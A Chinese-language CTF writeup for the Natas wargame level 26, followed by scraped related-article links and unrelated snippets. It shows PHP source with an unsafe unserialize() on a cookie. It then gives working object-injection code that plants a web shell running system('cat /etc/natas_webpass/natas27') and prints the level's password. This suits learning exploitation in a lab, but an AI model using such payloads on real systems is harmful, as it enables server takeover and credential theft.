##源码:

<?php
// sry, this is ugly as hell.
// cheers kaliman ;)
// - morla class Logger{
private $logFile;
private $initMsg;
private $exitMsg; function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = "/tmp/natas26_" . $file . ".log"; // write initial message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$initMsg);
fclose($fd);
} function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
} function __destruct(){
// write exit message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->exitMsg);
fclose($fd);
}
} function showImage($filename){
if(file_exists($filename))
echo "<img src=\"$filename\">";
} function drawImage($filename){
$img=imagecreatetruecolor(400,300);
drawFromUserdata($img);
imagepng($img,$filename);
imagedestroy($img);
} function drawFromUserdata($img){
if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){ $color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$_GET["x1"], $_GET["y1"],
$_GET["x2"], $_GET["y2"], $color);
} if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
if($drawing)
foreach($drawing as $object)
if( array_key_exists("x1", $object) &&
array_key_exists("y1", $object) &&
array_key_exists("x2", $object) &&
array_key_exists("y2", $object)){ $color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$object["x1"],$object["y1"],
$object["x2"] ,$object["y2"] ,$color); }
}
} function storeData(){
$new_object=array(); if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$new_object["x1"]=$_GET["x1"];
$new_object["y1"]=$_GET["y1"];
$new_object["x2"]=$_GET["x2"];
$new_object["y2"]=$_GET["y2"];
} if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
}
else{
// create new array
$drawing=array();
} $drawing[]=$new_object;
setcookie("drawing",base64_encode(serialize($drawing)));
}
?> <h1>natas26</h1>
<div id="content"> Draw a line:<br>
<form name="input" method="get">
X1<input type="text" name="x1" size=2>
Y1<input type="text" name="y1" size=2>
X2<input type="text" name="x2" size=2>
Y2<input type="text" name="y2" size=2>
<input type="submit" value="DRAW!">
</form> <?php
session_start(); if (array_key_exists("drawing", $_COOKIE) ||
( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){
$imgfile="img/natas26_" . session_id() .".png";
drawImage($imgfile);
showImage($imgfile);
storeData();
} ?>

主要知识点参见PHP Object Injection(PHP对象注入)

思路上的问题:

了解PHP对象注入后,不知道该如何回显,以为这里没有eval和system等能够执行命令的语句(序列化又只能传入键值对(字符串而非执行语句))。其实很简单,这里不需要服务器端在解析的时候回显flag,我们只需要在能够访问的文件夹(imag\)下建立一个shell(fuck.php)(路径可以用字符串表示传入),写入php语句,然后访问该脚本,就能够进行任意语句执行/回显!

生成序列化的注入实体时犯的错误:

<?php
class Logger{
function __construct($file){
$this->initMsg="<? \n\nsystem('cat /etc/natas_webpass/natas27'); ?>\n\n";
$this->logFile = "img/fuck3.php";
$this->exitMsg ="<? \n\nsystem('cat /etc/natas_webpass/natas27'); ?>\n\n";
}
}
print urlencode(base64_encode(serialize(new Logger('asd'))));
?>

源码中声明Logger时进行了访问控制(三个属性全部私有),如果不加private的话是默认公有的,生成的序列化字节串会不匹配,要注意这一点,数据类型一定要匹配。(另外,序列话字节串只能保存键值对,无法保存对象中的方法定义)。

正确做法:

<?php
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;
function __construct($file){
$this->initMsg="<? \n\nsystem('cat /etc/natas_webpass/natas27'); ?>\n\n";
$this->logFile = "img/fuck3.php";
$this->exitMsg ="<? \n\nsystem('cat /etc/natas_webpass/natas27'); ?>\n\n";
}
}
print urlencode(base64_encode(serialize(new Logger('asd'))));
?>

ps:其实还有个小问题,当前路径就写“img/....”即可,当时脑袋抽写成了"/imag/...."

然后访问img/fuck.php这个shell即可得到flag。

flag:**55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ **

Natas Wargame Level26 Writeup(PHP对象注入)的更多相关文章

  1. Natas Wargame Level20 Writeup(会话状态注入/篡改)

    aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAArMAAACmCAYAAADJYwcaAAAABHNCSVQICAgIfAhkiAAAIABJREFUeF

  2. Natas Wargame Level27 Writeup(SQL表的注入/溢出与截取)

    前端: <html> <head> <!-- This stuff in the header has nothing to do with the level --&g ...

  3. Natas Wargame Level25 Writeup(头部注入+POST/GET注入)

    aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAArsAAAC8CAYAAAB4+WYTAAAABHNCSVQICAgIfAhkiAAAIABJREFUeF

  4. 转:Natas Wargame Level28 Writeup(EBC加密破解)

    From:http://alkalinesecurity.com/blog/ctf-writeups/natas-28-getting-it-wrong/ Now that I knew it was ...

  5. joomla \libraries\joomla\session\session.php 反序列化截断畸形字符串导致对象注入漏洞

    catalog . 漏洞描述 . PHP SESSION持久化 . PHP 序列化/反序列化内核实现 . 漏洞代码分析 . POC构造技巧 . 防御方案 . Code Pathc方案 1. 漏洞描述 ...

  6. struts2将servlet对象注入到Action中

    在struts2框架中,可以通过IoC方式将servlet对象注入到Action中,通常需要Action实现以下接口: a. ServletRequestAware: 实现该接口的Action可以直接 ...

  7. Codeigniter 利用加密Key(密钥)的对象注入漏洞

    http://drops.wooyun.org/papers/1449 原文链接:http://www.mehmetince.net/codeigniter-object-injection-vuln ...

  8. 深入理解PHP对象注入

    0x00 背景 php对象注入是一个非常常见的漏洞,这个类型的漏洞虽然有些难以利用,但仍旧非常危险,为了理解这个漏洞,请读者具备基础的php知识. 0x01 漏洞案例 如果你觉得这是个渣渣洞,那么请看 ...

  9. PHP对象注入 PHP Object Injection

    From:PHP Object Injection Last revision (mm/dd/yy): 01/7/2015 译者:李秋豪 Wednesday, 24. May 2017 05:48PM ...

随机推荐

  1. 一款基于vue2.0的分页组件---写在页面内

    通过 Vue2.0 实现的分页 可自由设置分页显示的多少.上一页.下一页.省略号等,也可直接输入跳转到的页码进行跳转,分页的样式可自由调整 // 1.页面的 head 部分,需要设计好页面的样式 .p ...

  2. Redis 图形化监控方案 RedisLive 介绍

    作为一款开源的 Redis 图形化监控工具,RedisLive 提供对 Redis 实例的内存使用情况,接收的客户端命令,接收的请求数量以及键进行监控.RedisLive 的工作原理基于 Redis ...

  3. SparseArray,SparseBooleanArray和SparseIntArray

    package android.util; import com.android.internal.util.ArrayUtils; /** * SparseArrays 利用integer去管理ob ...

  4. laravel MethodNotAllowedHttpException错误一个原因

    前两天在写api的时候,出现一个之前都没有碰到过的问题,如图 可以说提示信息是很不友好了,然后打开错误日志,发现报了一个MethodNotAllowedHttpException这样的错误,这样错误我 ...

  5. 分布式监控系统Zabbix3.2跳坑指南

    zabbix是什么在此就不多作介绍了,可以参考之前的文章 零代码如何打造自己的实时监控预警系统 ,这篇主要介绍安装及注意事项. 主要分为服务端和客户端安装,客户端又分为Linux.Windows. 服 ...

  6. web离线应用 Web SQL Database

    web sql database 是html5废弃的一个新特性,它提供了基本的关系数据库功能,使用 `SQL` 来操纵客户端数据库的 API,这些 API 是异步的,规范中使用的方言是SQLlite ...

  7. 【译】10个机器学习的JavaScript示例

    原文地址:10 Machine Learning Examples in JavaScript 在过去的每一年,用于机器学习(Machine Learning)的库在变得越来越快和易用.一直以来Pyt ...

  8. 实验:企业级分布式存储应用与实战-mogilefs实现

    实验:企业级分布式存储应用与实战-mogilefs实现 (1)安装mogilefs 1.创建一个存放安装mogilefs所需的软件包的目录 cd /app/ mkdir mogilefs cd mog ...

  9. [C#]使用GroupJoin将两个关联的集合进行分组

    本文为原创文章.源代码为原创代码,如转载/复制,请在网页/代码处明显位置标明原文名称.作者及网址,谢谢! 本文使用的开发环境是VS2017及dotNet4.0,写此随笔的目的是给自己及新开发人员作为参 ...

  10. 电子笔记本的思考(1)(ver0.3)

    章节:电子笔记本的思考(1)   陶哲轩在<解题·成长·快乐——陶哲轩教你学数学>中着重强调,用纸笔来“缓存”思维对于数学解题的重要性: 用选定的符号表达你所知道的信息,并画一个示意图.把 ...